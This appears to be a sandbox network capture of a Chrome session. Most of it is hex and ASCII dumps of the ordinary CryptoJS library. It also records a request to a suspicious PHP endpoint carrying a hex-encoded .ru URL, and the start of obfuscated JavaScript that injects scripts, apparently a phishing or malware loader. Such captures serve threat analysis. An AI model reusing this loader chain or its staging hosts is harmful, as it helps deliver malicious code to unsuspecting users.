2024-12-11 01:08:24 UTC	411	IN	Data Raw: 37 62 65 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7beb!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 Data Ascii: window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 Data Ascii: ;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:functi
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 Data Ascii: )),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProces
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 Data Ascii: =i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b Data Ascii: [4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 Data Ascii: %42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42949672
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d Data Ascii: S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f Data Ascii: e.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 Data Ascii: nction(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5)))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	69.49.245.172	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:25 UTC	429	OUT	GET /res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole HTTP/1.1 Host: cosenzaconsulting.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:26 UTC	196	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:24 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2024-12-11 01:08:26 UTC	1979	IN	Data Raw: 37 61 66 0d 0a 20 20 20 20 76 61 72 20 42 56 65 6e 52 47 64 73 6d 74 6f 4f 49 69 66 69 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 42 56 65 6e 52 47 64 73 6d 74 6f 4f 49 69 66 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 42 56 65 6e 52 47 64 73 6d 74 6f 4f 49 69 66 69 29 3b 0d 0a 42 56 65 6e 52 47 64 73 6d 74 6f 4f 49 69 66 69 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7af var BVenRGdsmtoOIifi = document.createElement("script");BVenRGdsmtoOIifi.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(BVenRGdsmtoOIifi);BVenRGdsmtoOIifi.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	104.17.24.14	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:26 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:26 UTC	954	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:26 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 123336 Expires: Mon, 01 Dec 2025 01:08:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qIqkXV%2BGremTbC4h3h5Xp7vFsLRikI1CqwOUCWPAh3FRvFP4PwNP4uu54sdXtCj9OvVvcnXOXoofr26MNmKMr405p09Mv3rprYiYRB7msJk1qGeU32kFkK7iuukmPL119zWuvQhr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f019562bb9015d7-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:26 UTC	415	IN	Data Raw: 37 62 66 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 65 Data Ascii: ow.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.ge
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: ;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function()
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f Data Ascii: his._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlo
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c Data Ascii: =0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)\|
